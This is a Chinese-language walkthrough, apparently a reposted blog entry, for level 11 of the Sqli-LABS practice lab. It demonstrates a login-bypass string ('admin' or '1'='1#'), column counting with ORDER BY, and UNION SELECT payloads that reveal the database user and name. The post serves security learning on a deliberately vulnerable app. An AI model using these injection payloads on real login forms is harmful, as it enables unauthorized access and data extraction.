Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]

在这一关卡我学到了

1.万能密码的构造,大概的去揣测正常的SQL语句是如何的。

2.

3.

 

00x1 SQL万能密码的构造


 

在登录框当中可以添加了一个单引号。报错信息如下所示:

Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]_第1张图片

据此报错,我们大概的可以猜测其网站的正常是SQL语句如下:

$sql="select username,password from 表明 where username='$username' and password='$password' limit 0,1"

即使如此,那么来尝试将其闭合。

账号密码同时尝试输入:admin' or '1'='1#

Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]_第2张图片

 

可见成功登陆。那么我们来分析一下原因吧。

当我们账号输入admin' or '1'='1的时候(密码随意填写),到SQL语句里的执行就是

$sql="select username,password from 表明 where username='test' or '1'='1'

最后的那个单引号是系统自动加上去的。所以我们不必画蛇添足。

至于密码部分全部被#消除了。完整的sql语句是:

$sql="select username,password from 表明 where username='admin' or '1'='1# and password='$password' limit 0,1"

如此一来,系统会自动加一个单引号。就变成了如下语句:

$sql="select username,password from 表明 where username='admin' or '1'='1'"

如此一来就成功绕过了登陆进入网站的后台。

 Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]_第3张图片

 

 00x2 登陆框报错注入


0x1猜字段数

order by 5的时候爆的时候出错了。提示“不知道这个第五条”

Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]_第4张图片

直到2的时候页面跟刚才不一样了!

Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]_第5张图片

说明字段书是2

00x2 猜数据库

 Payload:123' union select database(),2#

Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]_第6张图片

再尝试:123' union select concat(user(),0x2b,database(),0x2b),2#

Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]_第7张图片

Your Login name:root@localhost+security+

root权限,数据库名为security 

直接使用联合查询注入.......

THE END


 

转载于:https://www.cnblogs.com/xishaonian/p/6125296.html

你可能感兴趣的:(Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入])